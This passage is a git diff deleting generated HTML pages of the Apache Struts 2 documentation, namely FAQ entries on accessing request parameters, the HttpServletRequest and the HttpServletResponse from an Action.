-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2853342">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2853342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2853342">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sometimes its is desirable to test your actions outside the container see <a shape="rect" href="testing-actions.html">Testing Actions</a> for details.</p>
-
-<p>If you use JSPs as the template engine you won't be able to test the action output outside the container. The <a shape="rect" href="embedded-jsp-plugin.html">Embedded JSP Plugin</a> can be used to overcome this limitation and be able to use JSPs from the classpath and outside the container.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-access-request-parameters-passed-into-an-action.html b/content/docs/how-can-we-access-request-parameters-passed-into-an-action.html
deleted file mode 100644
index 8b1e9fe..0000000
--- a/content/docs/how-can-we-access-request-parameters-passed-into-an-action.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we access request parameters passed into an Action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-access-request-parameters-passed-into-an-action.html">How can we access request parameters passed into an Action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we access request parameters passed into an Action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13977">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13977">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13977">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13977">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13977">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13977">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>You can obtain the request parameters by asking the ActionContext or implementing ParameterAware. Implementing ParameterAware is preferred.</p><h2 id="HowcanweaccessrequestparameterspassedintoanAction-AsktheActionContext">Ask the ActionContext</h2><p>The request parameters are available on the ActionContext instance, which is made available via ThreadLocal.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelCo [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">Map parameters = ActionContext.getContext().getParameters();
-</pre>
-</div></div><h2 id="HowcanweaccessrequestparameterspassedintoanAction-ImplementHttpParametersAware">Implement HttpParametersAware</h2><p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> <em>Preferred</em></p><ul><li>Ensure that <code>servlet-config</code> Interceptor is included in the Action's stack.<ul><li><i [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-access-the-httpservletrequest.html b/content/docs/how-can-we-access-the-httpservletrequest.html
deleted file mode 100644
index db8ca87..0000000
--- a/content/docs/how-can-we-access-the-httpservletrequest.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we access the HttpServletRequest</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-access-the-httpservletrequest.html">How can we access the HttpServletRequest</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we access the HttpServletRequest</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14302">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14302">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14302">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14302">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14302">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14302">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>You can obtain the request by asking the ActionContext or implementing ServletRequestAware. Implementing ServletRequestAware is preferred.</p>
-
-<h2 id="HowcanweaccesstheHttpServletRequest-AsktheActionContext">Ask the ActionContext</h2>
-
-<p>The request is available on the ActionContext instance, which is made available via ThreadLocal.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-HttpServletRequest request = ServletActionContext.getRequest();
-</pre>
-</div></div>
-
-<h2 id="HowcanweaccesstheHttpServletRequest-ImplementServletRequestAware">Implement ServletRequestAware</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> <em>Preferred</em></p>
-
-<ul><li>Ensure that <code>servlet-config</code> Interceptor is included in the Action's stack.
-	<ul><li><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> <em>The default stack already includes</em> <code><em>servlet-config</em></code><em>.</em></li></ul>
-	</li><li>Edit the Action so that it implements the ServletRequestAware interface.
-	<ul><li>The ServletRequestAware interface expects a <code>setServletRequest</code> method. You may wish to include a companion <code>getServletRequest</code> method.</li></ul>
-	</li><li>At runtime, call <code>getServletRequest</code> to obtain a reference to the request object.
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>When the <code>servlet-config</code> Interceptor sees that an Action implements ServletRequestAware, it passes a reference to the request the Action's <code>setServletRequest</code> method.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>It is more difficult to test Actions with runtime dependencies on HttpServletRequest. Only implement ServletRequestAware as a last resort. If the use case cannot be solved by one of the other <code>servet-config</code> interfaces (ApplicationAware, SessionAware, ParameterAware), consider whether an custom Interceptor could be used instead of Action code. (Review how <code>servlet-config</code> works for examples of what can be done.)</p></div></div>
-@see <a shape="rect" href="struts-defaultxml.html">struts-default.xml</a><br clear="none">
-@see org.apache.struts.action2.interceptor.ServletRequestAware<br clear="none">
-@see org.apache.struts.action2.interceptor.<a shape="rect" href="servlet-config-interceptor.html">ServletConfigInterceptor</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-access-the-httpservletresponse.html b/content/docs/how-can-we-access-the-httpservletresponse.html
deleted file mode 100644
index 660d8fc..0000000
--- a/content/docs/how-can-we-access-the-httpservletresponse.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we access the HttpServletResponse</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-access-the-httpservletresponse.html">How can we access the HttpServletResponse</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we access the HttpServletResponse</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13900">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13900">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13900">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13900">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>You can obtain the request by asking the ActionContext or implementing ServletResponseAware. Implementing ServletResponseAware is preferred.</p>
-
-<h2 id="HowcanweaccesstheHttpServletResponse-AsktheActionContext">Ask the ActionContext</h2>
-
-<p>The response is available on the ActionContext instance, which is made available via ThreadLocal.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-HttpServletResponse response = ServletActionContext.getResponse();
-</pre>
-</div></div>
-
-<h2 id="HowcanweaccesstheHttpServletResponse-ImplementServletResponseAware">Implement ServletResponseAware</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> <em>Preferred</em></p>
-<ul><li>Ensure that <code>servlet-config</code> Interceptor is included in the Action's stack.
-	<ul><li><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> <em>The default stack already includes</em> <code><em>servlet-config</em></code><em>.</em></li></ul>
-	</li><li>Edit the Action so that it implements the ServletResponseAware interface.
-	<ul><li>The ServletResponseAware interface expects a <code>setServletResponse</code> method. You may wish to include a companion <code>getServletResponse</code> method.</li></ul>
-	</li><li>At runtime, call <code>getServletResponse</code> to obtain a reference to the response object.
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>When the <code>servlet-config</code> Interceptor sees that an Action implements ServletResponseAware, it passes a reference to the request the Action's <code>setServletResponse</code> method.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>It is more difficult to test Actions with runtime dependencies on HttpServletReponse. Only implement ServletResponseAware as a last resort. A better approach to solving a use case involving the response may be with a custom <a shape="rect" href="result-types.html">Result Type</a>.</p></div></div>
-@see <a shape="rect" href="struts-defaultxml.html">struts-default.xml</a><br clear="none">
-@see org.apache.struts.action2.interceptor.ServletResponseAware<br clear="none">
-@see org.apache.struts.action2.interceptor.<a shape="rect" href="servlet-config-interceptor.html">ServletConfigInterceptor</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-change-which-methods-are-excused-from-validation.html b/content/docs/how-can-we-change-which-methods-are-excused-from-validation.html
deleted file mode 100644
index 927b92b..0000000
--- a/content/docs/how-can-we-change-which-methods-are-excused-from-validation.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we change which methods are excused from validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-change-which-methods-are-excused-from-validation.html">How can we change which methods are excused from validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
